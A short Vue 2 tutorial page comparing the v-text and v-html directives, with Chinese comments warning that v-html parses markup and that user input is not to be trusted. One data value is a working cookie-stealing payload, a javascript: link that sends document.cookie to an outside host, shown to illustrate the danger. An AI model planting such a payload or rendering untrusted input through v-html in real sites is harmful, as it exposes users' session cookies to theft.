<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>Vue入门</title>
		<script src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
		    <div v-text="name"></div>
		    <div v-html="str"></div>
		    <div v-html="str2"></div>
		</div>
		<script type="text/javascript">
		    Vue.config.productionTip = false;
		    new Vue({
		        el: "#root",
		        data:{
		            name:'上海',
		            //注意v-html会解析标签，这点与v-text不一样
		            str:'<h1>hello, shanghai</h1>',
		            //危险行为 永远不要相信用户的输入
		            str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>获取用户Cookie</a>'
		        }
		    })
		</script>
	</body>
</html>
